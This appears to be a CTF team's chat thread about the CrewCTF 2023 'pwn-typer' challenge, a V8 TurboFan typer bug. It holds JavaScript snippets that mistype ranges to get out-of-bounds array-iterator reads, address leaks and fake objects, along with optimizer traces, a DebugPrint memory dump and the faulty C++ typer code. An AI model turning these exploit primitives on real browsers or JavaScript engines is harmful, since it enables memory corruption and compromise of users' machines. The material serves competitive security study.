Project Sekai
🔒 CrewCTF 2023 / ❌-pwn-typer
damn
function foo(x) {
return isNaN(Math.abs(x));
}
foo(NaN);
for (let i = 0; i < 100000; ++i) foo(NaN);
console.log(foo(NaN)); function foo(a,v){
var wt= "exist ".indexOf(a);
wt = wt + 1;
wt= wt*0x20//real : 0, opt : big num
wt+=1//avoid 0x0800222d = FixedArray[0]
var arr = new Array(wt);
// arr[1]=1.1
var fake = new Array(0x10);
for(var j =0;j<0xf;j++){
fake[j]=v;//spray.element ptr
}
var oob = arr[Symbol.iterator]();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
oob.next();
return oob.next();
}
This worked in my previous solution for asis quals, but doesnt now 
function foo(x) {
return isNaN(Math.abs(x));
}
foo(NaN);
for (let i = 0; i < 100000; ++i) foo(NaN);
console.log(foo(NaN)); - Replacement of #110: SpeculativeToNumber[NumberOrOddball, FeedbackSource(#6)](109, 13, 7) with #109: NumberConstant[nan] by reducer TypedOptimization
- Replacement of #111: NumberAbs(109) with #109: NumberConstant[nan] by reducer SimplifiedOperatorReducer
- Replacement of #113: SpeculativeToNumber[NumberOrOddball, FeedbackSource(#10)](109, 13, 7) with #109: NumberConstant[nan] by reducer TypedOptimization
- Replacement of #114: NumberIsNaN(109) with #148: HeapConstant[0x28e100000dd5 <false>] by reducer ConstantFoldingReducer function foo(b, obj){
let a = "aaaaa";
//actual = -1
let result = a.indexOf(b);
//actual = -1, typer = [4, 536870888]
result = Math.max(result, 536870887);
//actual = -1, typer = [0, 1023]
result >>= 0x13;
result += 2;
//actual = 1, typer think its 0
let arr = Array(result);
arr[0] = 1.1;
let cor = [1.1, obj]
//iterator typer thinks he created a very big array
//but the actual array created only have size of 1
let itx = arr.values();
itx.next();
itx.next();
let leak = itx.next().value;
let leak2 = itx.next().value;
return [arr, itx, cor, leak, leak2];
} 
function foo(x) {
let a = Math.abs(x);
let b = Math.ceil(a);
let i = Math.abs(b);
i = Math.max(i, 0x100000800);
i = Math.min(0x100000801, i);
i -= 0x1000007fa;
return i;
}
for(let i = 0; i < 100000; i++){
foo(NaN);
}
console.log(foo(NaN)); 
DebugPrint: 0x268c0031a709: [JSArray]
- map: 0x268c0018ece5 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x268c0018e705 <JSArray[0]>
- elements: 0x268c0031a6e9 <JSArray[5]> [PACKED_DOUBLE_ELEMENTS]
- length: 6144
- properties: 0x268c00000219 <FixedArray[0]>
- All own properties (excluding elements): {
0x268c00000e0d: [String] in ReadOnlySpace: #length: 0x268c00144a45 <AccessorInfo name= 0x268c00000e0d <String[6]: #length>, data= 0x268c00000251 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x268c0031a6e9 <JSArray[5]> {
0: 2.12216e-313
1: 3.58485e-308
2: 2.122e-313
3: 1.13951e-311
4: 2.60751e-310
5: 1.3
6: 1.4
7: 1.5
8: 8.48798e-314
9: 1.31776e-311
10: 1.13951e-311
11: 8.48959e-314
12: 8.48798e-314
my fake obj just got done
ik him
type = Type::Intersect(type, Type::PlainNumber(), zone());
if (!type.IsNone()) {
double const max = type.Max();
double const min = type.Min();
if (min < 0) {
if (type.Is(cache_.kInteger)) {
type =
Type::Range(0.0, std::max(std::fabs(min), std::fabs(max)), zone());
} else {
type = Type::PlainNumber();
}
}
} 
1